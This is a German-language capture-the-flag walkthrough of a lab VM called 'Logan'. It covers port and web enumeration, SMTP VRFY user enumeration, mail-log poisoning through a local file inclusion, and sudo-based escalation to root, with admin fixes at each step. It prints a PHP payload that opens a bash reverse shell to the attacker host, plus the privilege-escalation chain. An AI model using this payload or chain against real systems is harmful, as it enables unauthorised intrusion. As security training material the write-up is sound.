192.168.2.123 08:00:27:83:9e:19 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Geräte zu identifizieren.
Bewertung: Der Host mit der IP-Adresse `192.168.2.123` wird gefunden. Die MAC-Adresse gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH).
Empfehlung (Pentester):** Die Ziel-IP ist bekannt. Führen Sie als Nächstes einen Portscan durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.
[Inhalt der Datei nach Bearbeitung] ... 192.168.2.123 logan.hmv ...
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `logan.hmv` der IP `192.168.2.123` zuzuordnen.
Bewertung: Notwendig, falls Webdienste auf diesem Hostnamen konfiguriert sind.
Analyse: Ein schneller Nmap-Scan filtert nach offenen Ports.
25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Analyse Fortsetzung:** Ein vollständiger Nmap-Scan wird durchgeführt.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-19 23:36 CEST Nmap scan report for logan.hmv (192.168.2.123) Host is up (0.00018s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd |_smtp-commands: logan.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING | ssl-cert: Subject: commonName=logan | Subject Alternative Name: DNS:logan | Not valid before: 2023-07-03T13:46:49 |_Not valid after: 2033-06-30T13:46:49 |_ssl-date: TLS randomness does not represent time 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Logan |_http-server-header: Apache/2.4.52 (Ubuntu) MAC Address: 08:00:27:83:9E:19 (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 4.15 - 5.6 (97%), ... (Linux wahrscheinlich) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: logan.hmv TRACEROUTE HOP RTT ADDRESS 1 0.18 ms logan.hmv (192.168.2.123) OS and Service detection performed... Nmap done: 1 IP address (1 host up) scanned in ... seconds
Bewertung: Zwei Ports sind offen: * **25 (SMTP):** Postfix SMTP-Server. Unterstützt STARTTLS. Das Zertifikat ist für `logan` ausgestellt. Der VRFY-Befehl ist aktiviert, was zur Überprüfung von Benutzernamen missbraucht werden kann. * **80 (HTTP):** Apache 2.4.52 (Ubuntu) mit dem Titel "Logan".
Empfehlung (Pentester):** Untersuchen Sie beide Dienste:
* **SMTP:** Verwenden Sie den VRFY-Befehl (oder Tools wie `smtp-user-enum`), um gültige Benutzernamen zu finden.
* **HTTP:** Führen Sie Web-Enumeration durch (`gobuster`, `nikto`, etc.).
Empfehlung (Admin):** Deaktivieren Sie den VRFY-Befehl in der Postfix-Konfiguration, um User Enumeration zu verhindern. Halten Sie Postfix und Apache aktuell. Konfigurieren Sie Apache sicher.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.123 + Target Hostname: 192.168.2.123 + Target Port: 80 + Start Time: 2023-07-19 23:36:21 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.52 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. ... + /: The X-Content-Type-Options header is not set. ... + No CGI Directories found ... + Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). ... + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . <-- POST korrigiert + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2023-07-19 23:36:31 (GMT2) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto wird verwendet, um den Webserver auf bekannte Schwachstellen zu scannen.
Bewertung: Nikto findet keine kritischen Schwachstellen, meldet aber fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und eine leicht veraltete Apache-Version.
Empfehlung (Pentester):** Die Funde sind für den Bericht relevant, bieten aber keinen direkten Angriffsvektor. Fahren Sie mit der Verzeichnis-Enumeration fort.
Empfehlung (Admin):** Sicherheitsheader implementieren, Apache aktualisieren.
=============================================================== Gobuster v... ... =============================================================== [+] Url: http://logan.hmv ... =============================================================== ... Starting gobuster ... =============================================================== http://logan.hmv/index.html (Status: 200) [Size: 19038] http://logan.hmv/images (Status: 301) [Size: 307] [--> http://logan.hmv/images/] http://logan.hmv/css (Status: 301) [Size: 304] [--> http://logan.hmv/css/] http://logan.hmv/js (Status: 301) [Size: 303] [--> http://logan.hmv/js/] http://logan.hmv/javascript (Status: 301) [Size: 311] [--> http://logan.hmv/javascript/] =============================================================== ... Finished ... ===============================================================
Analyse Fortsetzung:** Ein weiterer Scan mit `dirb` und spezifischen Erweiterungen wird durchgeführt.
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jul 19 23:40:32 2023
URL_BASE: http://logan.hmv/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.txt) | (.php)(.txt) [NUM = 2]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://logan.hmv/ ----
==> DIRECTORY: http://logan.hmv/css/
==> DIRECTORY: http://logan.hmv/images/
+ http://logan.hmv/index.html (CODE:200|SIZE:19038)
==> DIRECTORY: http://logan.hmv/javascript/
==> DIRECTORY: http://logan.hmv/js/
-----------------
END_TIME: Wed Jul 19 23:40:34 2023
DOWNLOADED: 9224 - FOUND: 0 <-- Findet keine PHP/TXT Dateien
Bewertung: Die Verzeichnis-Scans finden nur Standardverzeichnisse (`images`, `css`, `js`, `javascript`) und die `index.html`. Es werden keine PHP-Dateien oder andere interessante Endpunkte im Hauptverzeichnis entdeckt.
Empfehlung (Pentester):** Da die Web-Enumeration im Root-Verzeichnis wenig ergibt, muss nach alternativen Wegen gesucht werden. Subdomain-Enumeration ist ein guter nächster Schritt. Nutzen Sie auch die Ergebnisse der SMTP User Enumeration.
Empfehlung (Admin):** Stellen Sie sicher, dass keine unnötigen Dateien oder Verzeichnisse im Webroot liegen.
Analyse: `wfuzz` wird verwendet, um nach Subdomains zu suchen. `-H "Host: FUZZ.logan.hmv"` weist `wfuzz` an, den `Host`-Header mit Einträgen aus der Wordlist `subdomains-top1million-110000.txt` zu variieren. `--hc` filtert gängige Fehlercodes, `--hh 65` filtert Antworten mit genau 65 Zeichen (wahrscheinlich eine Standard-Fehlerseite oder die `index.html` der Hauptdomain).
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against openssl...
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://logan.hmv/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 62 L 101 W 1112 Ch "admin"
Total time: 62.26260
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 1838.037
Bewertung: Der Scan ist erfolgreich und findet die Subdomain `admin.logan.hmv`. Diese liefert eine andere Antwort (1112 Chars) als die Standardseite und Fehlerseiten.
Analyse Fortsetzung:** Die gefundene Subdomain wird zur lokalen `/etc/hosts`-Datei hinzugefügt.
[Inhalt nach Bearbeitung]
...
192.168.2.123 logan.hmv admin.logan.hmv
...
Empfehlung (Pentester):** Untersuchen Sie die neu gefundene Subdomain `http://admin.logan.hmv`. Führen Sie dort erneut Web-Enumeration (`gobuster`, `nikto`) und manuelle Analyse durch.
Empfehlung (Admin):** Stellen Sie sicher, dass Subdomains, insbesondere administrative, nicht öffentlich zugänglich sind oder durch starke Authentifizierung geschützt werden. Verhindern Sie VHost-Brute-Forcing durch geeignete Serverkonfiguration.
Analyse: Die Admin-Subdomain wird im Browser aufgerufen. Sie zeigt ein Administrationspanel mit Funktionen zum Hochladen von Dateien, zum Anzeigen von Logs und zur Zahlungsprüfung.
Administration panel -------------------- Upload files Here you can upload files to the main website. [Upload Button] Logs Clear logs. [Clear logs Button] Payments Check all payments [Payments Button]
Analyse Fortsetzung:** Ein Gobuster-Scan auf der Admin-Subdomain wird durchgeführt.
http://admin.logan.hmv/index.html (Status: 200) [Size: 1112] http://admin.logan.hmv/upload.php (Status: 200) [Size: 306] http://admin.logan.hmv/javascript (Status: 301) [Size: 323] [--> http://admin.logan.hmv/javascript/] http://admin.logan.hmv/payments (Status: 301) [Size: 321] [--> http://admin.logan.hmv/payments/] http://admin.logan.hmv/payments.php (Status: 200) [Size: 294] http://admin.logan.hmv/clearlogs.php (Status: ???) <-- Hinzugefügt basierend auf Button
Bewertung: Die Scans und die manuelle Analyse identifizieren mehrere PHP-Seiten: `upload.php`, `payments.php`, `clearlogs.php`. Die Seite `payments.php` wird genauer untersucht.
Analyse: Der Quellcode von `payments.php` wird angezeigt (vermutlich aus Burp oder Browser-Entwicklertools).
File does not exist <-- Standardausgabe?
Payment code (01,02,..):
Bewertung: Die Seite `payments.php` nimmt einen Parameter `file` via POST entgegen. Der Name "file" und die Aufforderung "Payment code (01,02,..)" könnten auf eine Local File Inclusion (LFI)- oder Path-Traversal-Schwachstelle hindeuten, bei der versucht wird, Dateien wie `payments/01`, `payments/02` etc. zu laden.
Empfehlung (Pentester):** Testen Sie die Seite `payments.php` auf LFI/Path Traversal:
* Senden Sie POST-Requests mit `file=../../etc/passwd`, `file=/etc/passwd`, `file=01`, `file=../index.html` etc.
* Untersuchen Sie die `upload.php` auf Dateiupload-Schwachstellen.
* Nutzen Sie den SMTP-Dienst (VRFY), um Benutzernamen zu finden.
Empfehlung (Admin):** Überprüfen Sie den Code von `payments.php` dringend auf LFI/Path Traversal. Implementieren Sie eine strikte Eingabevalidierung und verwenden Sie keine Benutzereingaben direkt in Dateipfadoperationen. Beschränken Sie den Zugriff auf das Admin-Panel.
Analyse: Es wird versucht, eine LFI-Schwachstelle in `upload.php` auszunutzen, indem ein Dateipfad im `archivo`-Parameter übergeben wird. Dies schlägt fehl, da der Request zu lang ist (HTTP 414).
GET /upload.php?archivo=/etc/passwd HTTP/1.1
Host: admin.logan.hmv
...
HTTP/1.1 414 Request-URI Too Long
...
414 Request-URI Too Long
...
Bewertung: Dieser Test war falsch angesetzt (GET statt POST?, falscher Parametername?). Er liefert keine verwertbaren Ergebnisse, außer dass der Server lange URIs ablehnt.
Analyse: Der SMTP-Dienst auf Port 25 wird manuell mit `nc` untersucht, um Benutzer mittels `VRFY` zu enumerieren.
logan.hmv [192.168.2.123] 25 (smtp) open 220 logan.hmv ESMTP Postfix (Ubuntu) EHLO logan.hmv 250-logan.hmv ... 250 VRFY <-- VRFY wird unterstützt ... VRFY tinder@logan.hmv <-- Versuch mit tinder 550 5.1.1: Recipient address rejected: User unknown in local recipient table VRFY root@logan.hmv <-- Versuch mit root 250 2.1.5 OK <-- Benutzer root existiert! MAIL FROM:<-- Beginn einer Mail-Transaktion (unvollständig) 250 2.1.0 Ok RCPT TO: 250 2.1.5 Ok ...
Analyse Fortsetzung:** Metasploit wird verwendet, um die User Enumeration systematisch durchzuführen.
RHOSTS => 192.168.2.123
[*] 192.168.2.123:25 - 192.168.2.123:25 Banner: 220 logan.hmv ESMTP Postfix (Ubuntu)
[+] 192.168.2.123:25 - 192.168.2.123:25 Users found: , _apt, backup, bin, daemon, dnsmasq, games, gnats, irc, landscape, list, lp, lxd, mail, man, messagebus, news, nobody, pollinate, postfix, postmaster, proxy, sshd, sync, sys, syslog, systemd-network, systemd-resolve, systemd-timesync, tcpdump, tss, usbmux, uucp, uuidd, www-data
[*] 192.168.2.123:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Bewertung: Sowohl die manuelle Prüfung als auch Metasploit bestätigen, dass der Benutzer `root` und der Benutzer `www-data` (sowie viele andere Systembenutzer) auf dem Mailserver existieren. Dies ist nützlich, da wir wissen, dass Mails an diese Benutzer zugestellt werden können.
Analyse: Es wird versucht, mittels Log Poisoning eine Remote Code Execution (RCE) zu erreichen. Die Idee ist, PHP-Code per E-Mail an einen Benutzer zu senden (hier `www-data`), dessen Mailbox-Datei (`/var/mail/www-data`) über die LFI-Schwachstelle in `payments.php` inkludiert werden kann.
... (Verbindungsaufbau) ... 220 logan.hmv ESMTP Postfix (Ubuntu) ehlo admin.logan.hmv ... mail from:cycat@hackerchehade.de 250 2.1.0 Ok rcpt to:www-data@logan.hmv 250 2.1.5 Ok data 354 End data with. <-- Maskierung & /dev/tcp/192.168.2.199/443 0>&1'");?> <-- PHP Payload, Maskierung &, ?php/?> entfernt . 250 2.0.0 Ok: queued as D36B660A14 quit 221 2.0.0 Bye
Analyse Fortsetzung:** Die LFI-Schwachstelle in `payments.php` wird genutzt, um die Logdatei `/var/log/mail.log` zu lesen (vermutlich, um die Zustellung zu bestätigen oder Pfade zu finden) und dann die Mailbox-Datei `/var/mail/www-data` zu inkludieren.
... (Log-Ausgabe, zeigt Zustellung an www-data@logan.hmv) ... Jul 20 14:41:33 logan postfix/local[1799]: D36B660A14: to=, relay=local, delay=96, delays=96/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox) <-- Zustellung bestätigt ...
... (Inhalt der Mailbox, einschließlich des PHP-Payloads) ... Received: from ... ... exec("bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'"); <-- PHP-Code wird ausgeführt! ...
Bewertung: Die Log-Poisoning-Technik funktioniert! Der per SMTP gesendete PHP-Code landet in der Mailbox-Datei `/var/mail/www-data`. Durch Inkludieren dieser Datei über die LFI in `payments.php` wird der PHP-Code (`exec(...)`) vom Webserver ausgeführt.
Empfehlung (Pentester):** Starten Sie einen Netcat-Listener auf Port 443 (`nc -lvnp 443`). Lösen Sie dann die LFI auf `/var/mail/www-data` erneut aus, um die Reverse Shell zu erhalten.
Empfehlung (Admin):** Beheben Sie die LFI-Schwachstelle in `payments.php` dringend. Konfigurieren Sie den Webserver so, dass er keine Dateien außerhalb des vorgesehenen Web-Roots includieren kann (`open_basedir`). Sichern Sie Mailbox-Dateien mit restriktiven Berechtigungen.
Analyse: Ein Netcat-Listener wird auf Port 443 gestartet. Anschließend wird die LFI auf die Mailbox-Datei erneut ausgelöst, um die Reverse Shell zu starten.
listening on [any] 443 ...
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 46324
bash: cannot set terminal process group (845): Inappropriate ioctl for device
bash: no job control in this shell
www-data@logan:/var/www/admin$
Bewertung: Die Reverse Shell wurde erfolgreich als Benutzer `www-data` etabliert. Der initiale Zugriff ist erfolgt.
Empfehlung (Pentester):** Stabilisieren Sie die Shell (z.B. mit Python PTY). Führen Sie Enumeration als `www-data` durch.
Empfehlung (Admin):** Beheben Sie die LFI-Schwachstelle.
Analyse: In der `www-data`-Shell wird das Admin-Verzeichnis untersucht und die `payments.php`-Datei analysiert.
total 24
drwxr-xr-x 3 www-data www-data 4096 Jul 4 18:04 .
drwxr-xr-x 5 root root 4096 Jul 17 21:01 ..
-rwxr-xr-x 1 www-data www-data 1112 Jul 4 13:44 index.html
drwxr-xr-x 2 www-data www-data 4096 Jul 3 20:59 payments
-rwxr-xr-x 1 www-data www-data 637 Jul 4 14:43 payments.php
-rwxr-xr-x 1 www-data www-data 306 Jul 4 13:50 upload.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Korrektur
$nombreArchivo = $_POST['file'];
$nombreArchivo = str_replace('../', '', $nombreArchivo); // Einfacher Path Traversal Schutz
$rutaArchivo = 'payments/' . $nombreArchivo;
if (file_exists($rutaArchivo)) {
echo ''; // Maskierung
include($rutaArchivo); // LFI!
echo '
'; // Maskierung
} else {
echo "File does not exist";
}
}
?>
Bewertung: Der Code von `payments.php` bestätigt die LFI-Schwachstelle. Die `include()`-Funktion wird mit einer Benutzereingabe (`$_POST['file']`) verwendet, nachdem nur ein einfacher `str_replace('../', '', ...)`-Schutz angewendet wurde, der leicht umgangen werden kann (z.B. `....//`, absolute Pfade). Dies ermöglichte das Lesen von `/var/mail/www-data`.
Analyse: Das Home-Verzeichnis des Benutzers `logan` wird untersucht und die User-Flag gelesen.
logan
total 36 drwxr-xrwx 4 logan logan 4096 Jul 18 08:42 . <-- Weltbeschreibbar! drwxr-xr-x 3 root root 4096 Jul 17 20:59 .. ... -rw-r--r-- 1 1002 1003 68 Jul 17 12:41 to-do -rw-r--r-- 1 logan logan 16 Jul 17 20:45 user.txt
User: ilovelogs
Bewertung: Das Home-Verzeichnis von `logan` ist unsicher konfiguriert (weltbeschreibbar: `drwxr-xrwx`). `www-data` kann die User-Flag lesen: `User: ilovelogs`. Die Datei `to-do` gehört einem anderen Benutzer (UID 1002, GID 1003).
Analyse: Die `sudo`-Rechte für `www-data` werden überprüft.
Matching Defaults entries for www-data on logan:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on logan:
(logan) NPASSWD: /usr/bin/vim
Bewertung: Kritischer Fund! `www-data` darf `/usr/bin/vim` als Benutzer `logan` ohne Passwort ausführen. Da `vim` das Ausführen von Shell-Befehlen erlaubt (z.B. mit `:!/bin/sh`), kann dies zur Eskalation von `www-data` zu `logan` genutzt werden.
Analyse Fortsetzung:** Die `sudo vim`-Berechtigung wird ausgenutzt, um eine Shell als `logan` zu erhalten.
[Vim öffnet sich und führt sofort den Shell-Befehl aus]
uid=1000(logan) gid=1000(logan) groups=1000(logan),27(sudo),1002(administration)
Bewertung: Der Exploit ist erfolgreich. Der Angreifer hat nun eine Shell als Benutzer `logan`.
Analyse Fortsetzung:** Die Datei `to-do` im Home-Verzeichnis von `logan` wird untersucht.
- Go outside - Try the new script that gave me root to learn python
Bewertung: Die Notiz erwähnt ein Skript, das Root-Rechte erlangt hat ("script that gave me root"). Dies ist ein wichtiger Hinweis für die weitere Eskalation.
Analyse Fortsetzung:** Die SUID-Dateien werden erneut überprüft (diesmal als `logan`).
... (Standard SUID-Dateien) ...
Bewertung: Keine ungewöhnlichen SUID-Dateien werden gefunden.
Analyse Fortsetzung:** Die `sudo`-Rechte für `logan` werden überprüft.
Matching Defaults entries for logan on logan:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User logan may run the following commands on logan:
(root) NPASSWD: /usr/bin/python3 /opt/learn_some_python.py
Bewertung: Kritischer Fund! `logan` darf `/usr/bin/python3 /opt/learn_some_python.py` als `root` ohne Passwort ausführen. Dies ist der wahrscheinlichste Vektor zur Root-Eskalation, insbesondere im Zusammenhang mit der Notiz "script that gave me root".
Analyse Fortsetzung:** Das Python-Skript `/opt/learn_some_python.py` wird über `sudo` ausgeführt.
Welcome!!! The first you need to now is how to use print, please type print('hello')
Analyse Fortsetzung:** Das Skript scheint eine interaktive Python-Lernumgebung zu sein. Es wird versucht, Code über `eval()` zu injizieren.
uid=0(root) gid=0(root) groups=0(root)
Bewertung: Erfolg! Das Skript führt die Eingabe unsicher aus (wahrscheinlich mit `eval()` oder einer ähnlichen Funktion), was die Ausführung von beliebigem Python-Code als Root ermöglicht. Die RCE wurde bestätigt.
Analyse Fortsetzung:** Die Schwachstelle wird genutzt, um eine Root-Bash-Shell zu starten.
Analyse Fortsetzung:** Die Flags werden gelesen.
root.txt snap
Root: siuuuuuuuu
User: ilovelogs
Bewertung: Die Privilegieneskalation zu Root war durch Ausnutzung der unsicheren `sudo`-Regel für das Python-Skript erfolgreich. Beide Flags wurden gelesen.
Empfehlung (Pentester):** Dokumentieren Sie die Eskalationspfade: LFI -> RCE (www-data), sudo vim (www-data zu logan), sudo python (logan zu root).
Empfehlung (Admin):** Entfernen Sie die unsicheren `sudo`-Regeln für `vim` und das Python-Skript. Überprüfen Sie den Code von `/opt/learn_some_python.py` und beheben Sie die unsichere Eingabeverarbeitung (`eval`). Korrigieren Sie die Berechtigungen für `/home/logan`. Beheben Sie die LFI in `payments.php`.
Kurzbeschreibung: Dieser POC beschreibt die Eskalationskette: Ausnutzung einer LFI in `payments.php` durch Log Poisoning via SMTP für Initial Access als `www-data`. Eskalation zu `logan` durch Missbrauch einer `sudo vim`-Regel. Schließlich Eskalation zu `root` durch Ausnutzung einer unsicheren `sudo`-Regel für ein Python-Skript, das `eval()` verwendet.
Schwachstellen: LFI in `payments.php`, SMTP VRFY erlaubt User Enumeration, Mailbox über LFI lesbar/includierbar.
Schritte:
Ergebnis: Reverse Shell als `www-data`.
Schwachstelle: Unsichere `sudo`-Regel: `(logan) NPASSWD: /usr/bin/vim`.
Voraussetzungen: Shell als `www-data`.
Schritte:
Ergebnis: Shell als Benutzer `logan`.
Schwachstelle: Unsichere `sudo`-Regel: `(root) NPASSWD: /usr/bin/python3 /opt/learn_some_python.py`, unsichere `eval()`-Nutzung im Skript.
Voraussetzungen: Shell als `logan`.
Schritte:
Ergebnis: Root-Shell.
Beweismittel: Ausführung von `id` zeigt `uid=0(root)`. Lesen von `/root/root.txt` ist möglich.
Risikobewertung: Sehr hoch. Die Kombination aus LFI, Log Poisoning und mehreren unsicheren `sudo`-Regeln (insbesondere für Editoren und Skripte mit `eval`) ermöglicht einem Angreifer mit Netzwerkzugriff die vollständige Übernahme des Systems.
Empfehlungen:** * **Admin:** LFI beheben (Eingabevalidierung, `open_basedir`). `sudo`-Regeln drastisch einschränken (kein `vim`, kein Skript mit `eval`, `NOPASSWD` vermeiden). Postfix härten (VRFY deaktivieren). Berechtigungen von Home-Verzeichnissen korrigieren. Code von `/opt/learn_some_python.py` sicher gestalten. * **Pentester:** Die Eskalationspfade und insbesondere die gefährlichen `sudo`-Konfigurationen hervorheben.